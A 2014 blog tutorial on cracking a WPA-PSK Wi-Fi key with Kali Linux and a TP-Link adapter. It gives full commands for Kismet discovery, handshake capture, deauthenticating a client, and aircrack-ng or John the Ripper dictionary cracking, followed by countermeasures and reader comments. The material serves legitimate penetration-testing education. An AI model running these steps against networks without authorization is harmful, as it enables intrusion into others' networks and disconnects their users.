Monday, January 6, 2014

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-PSK

By Tony Lee


In our previous article we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network to showcase the abilities of this inexpensive and flexible setup.  In this article we will continue to test our setup by attacking our home router running WPA (Pre-Shared Key) PSK--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article  for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device


  • Preparation
  • Discovery (Kismet)
  • Attack
    • Explained
    • Setting the Variables
    • Capture the Handshake
    • Deauthenticate the Client
    • Brute-force the Key
  • Connect
  • Countermeasures
  • Conclusion


NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.

Discovery (kismet)

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  The iwlist command works great for this as you can stay in “Managed” mode as shown in the iwconfig command in the previous article.

root@kali:~# iwlist wlan0 scanning
wlan0     Scan completed :
         Cell 01 - Address: 00:7F:28:xx:xx:xx
                   Frequency:2.437 GHz (Channel 6)
                   Quality=37/70  Signal level=-73 dBm  
                   Encryption key:on
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : CCMP
                       Pairwise Ciphers (1) : CCMP
                       Authentication Suites (1) : PSK
                   IE: WPA Version 1
                       Group Cipher : CCMP

For more advanced discovery and tracking, we want to place the wireless card into “Monitor” mode.  We could do this manually with airmon-ng as we did in our previous article; however let’s use Kismet for our discovery this time using the following syntax:

root@kali:~# kismet -c wlan0

Figure 2:  Kismet is detecting wireless networks
Did you notice that we used wlan0 in the Kismet syntax above?  Doesn’t Kismet need the wireless card in monitor mode in order for it to work properly?  Sure does, but it handles that in the background:
Running iwconfig shows that Kismet created a monitor mode interface called wlan0mon:

root@kali:~# iwconfig
wlan0mon  IEEE 802.11bgn  Mode:Monitor  Frequency:2.422 GHz  Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Power Management:off
wlan0     IEEE 802.11bgn  ESSID:off/any  
         Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
lo        no wireless extensions.

eth0      no wireless extensions.

Since Kismet is detecting networks correctly, we can use this for our target discovery… but first a little cleanup to the default Kismet user interface (UI).
  • Get rid of the packet graph
  • Stop the auto-sort
  • List the clients

While the packet graph looks cool, it does not help us in this task, so we disable it by clicking on View -> Packet Graph.
Also, since we want to focus on one network, we don’t want it to Auto-sort.  This can be disabled by clicking on Sort -> SSID.
Lastly, since a victim is necessary for the WPA-PSK attack, enable viewing of clients by clicking View -> Client List.
We will need to note the same information to what we had in the previous article:
  • Name of the wireless network (ESSID)
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client

Figure 3:  Kismet provides enough victim information to proceed with the attack
We can now shutdown Kismet and begin the attack.


Now that discovery is complete, we should have enough information to attack the victim Access Point (AP) to further prove that this wireless card is worth having in our toolkit.  But what attack are we performing and why does it work?


In the previous article, we cracked a WEP key.  The process is a bit different for cracking WPA-PSK.
“Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.”
Even with the warning above to avoid dictionary based and short pre-shared keys, we still see it quite often.  Let’s take a look at the attack.

Setting the Variables

In our example, the victim information is summarized below:

Variable name = Description:  Value
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44

Since this is a good amount of information that can be easily mistyped (one number off on a MAC address), we use shell variables when attacking wireless networks.
It is good practice to open 2-3 windows and copy the following into each window to set the variables:

export ESSID=QX3A7
export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44

The layout shown in the screenshot below is our personal preference, but we find it quite useful.  We will monitor/capture in the top window, perform active attacks against the AP/client in the middle window, and use the bottom window for cracking the crypto key.
Figure 4:  The screenshot above shows the variables being set in a few shell windows--this is for convenience
Now that we have our windows set up and environment variables set to our victim, let’s begin the attack.  If you want to change your MAC address for extra stealth, now is the time to do so.

Capture the Handshake

We begin by capturing the traffic in an attempt to capture the 4-way handshake.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).

airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

airodump-ng -c $CH --bssid  $AP -w WPAcapture mon0

Deauthenticate the Client

The goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we can capture their 4-way handshake.

aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>

-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from

aireplay-ng -0 25 -a $AP -c $VM mon0

When you are watching your attack take place, keep an eye on the top right-hand corner of the capture window.  The following message should appear when you have successfully captured the 4-way handshake:  “WPA handshake:  XX:XX:XX:XX:XX:XX” (where X’s are the MAC address (BSSID) of the AP you are interested in).  Feel free to stop the capture process with Control+c after the handshake is captured. The screenshot below shows the attack windows and a successfully captured WPA handshake.
Figure 5:  The attack is under way

Brute-force the Key

Now it is time to run aircrack-ng against the pcap file which contains the handshake.
Since this is an off-line brute-force attack, you will need a sufficiently large wordlist to supply to aircrack-ng.  The word list is a good start as it is almost 14.5 million passwords.  In order to use the wordlist, you will have to uncompress it as shown below:

root@kali:/usr/share/wordlists# ls

root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz

root@kali:/usr/share/wordlists# ls

root@kali:/usr/share/wordlists# wc -l rockyou.txt
14344392 rockyou.txt

After uncompressing the wordlist, run aircrack-ng as shown below:

aircrack-ng -w <WORDLIST> <PCAP>

-w = wordlist

root@kali:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt WPAcapture-01.cap

Figure 6:  Brute-forcing takes time…

Eventually, if all goes well, the key will be found.  Our Kali VM (virtual CPU only) is checking passwords at about 737.75 passwords / second.  There are 14,344,392 passwords in the list.  Simple math shows that the entire list can be exhausted in 14,344,392 / 738 ≈ 19,436 seconds or 19.436/60 ≈ 324 minutes or 324/60 ≈ 5.4 hours.  Fortunately our password of “cheekymonkeyrox” was not at the end of list and it cracked in 22 minutes and 55 seconds.
Figure 7:  Key is finally cracked
For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout

Feed JTR permutations into aircrack-ng:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | aircrack-ng -w - -e <ESSID> <PCAP>

/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | aircrack-ng -w - -e QX3A7 WPAcapture-01.cap


Now that we have recovered the key, we will connect to the AP using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7"

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Create wpa_supplicant file named wpa-psk.conf  with your favorite text editor:
   psk=" cheekymonkeyrox"

Run the wpa_supplicant:
root@kali:~# wpa_supplicant -i wlan0 -c ~/wpa-psk.conf

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0

Figure 9:  Connecting to the WPA-PSK using wpa_supplicant


Even though the intention of this article is not to warn about the dangers of using WPA-PSK security, we feel that it is important to note that WPA-PSK should be used sparingly and with great caution in an enterprise environment.  That said, we perform many wireless assessments in which we discover that the clients are using WPA-PSK in certain circumstances (usually required for hand scanners or some other one-off devices).  For these special cases, we recommend the following (in order from most secure to least):
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Only use REALLY long and complex passwords - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS


In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-PSK test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:

Special Thanks

Dan Dumond


  1. hey can you make wpa tutorial using reaver?

  2. Hi Tony.
    Great article, thanks and keep it up.
    I have exactly same wn722n and using kali with vmware. But I can't get handshake? Any suggestions?

    1. Can you confirm that your fake AP is working? Change the SSID to something unique and check to see that it is visible from another device (laptop, phone, etc.) If the fake AP is working, change the name back to the target SSID and get closer to the wireless client. Your signal will need to be stronger than the wireless AP for the victim to migrate to you. Lastly, if you can control the wireless victim you may be able to test this by disabling wireless and re-enabling it. If all of these troubleshooting steps don't work there may be some resiliency built into the wireless supplicant?

    2. Finally, it worked. I guess the problem was leaving (airodump-ng mon0) command running. Moreover, your guess was correct regarding resiliency , some devices refuse to be deauth.
      I believe that cracking wireless passwords (either wep or wpa) needs patients and luck some times.
      Thanks Tony.

    3. Glad to hear it worked out. Patience and luck indeed. Sometimes it is also helpful to use two cards. One to perform the attack and one card to monitor/validate what is happening. You can even use two USB cards on the same system if you prefer. Typically, I try to use different cards/vendors though. For example: Alpha and TP-Link. Anyway, happy hacking!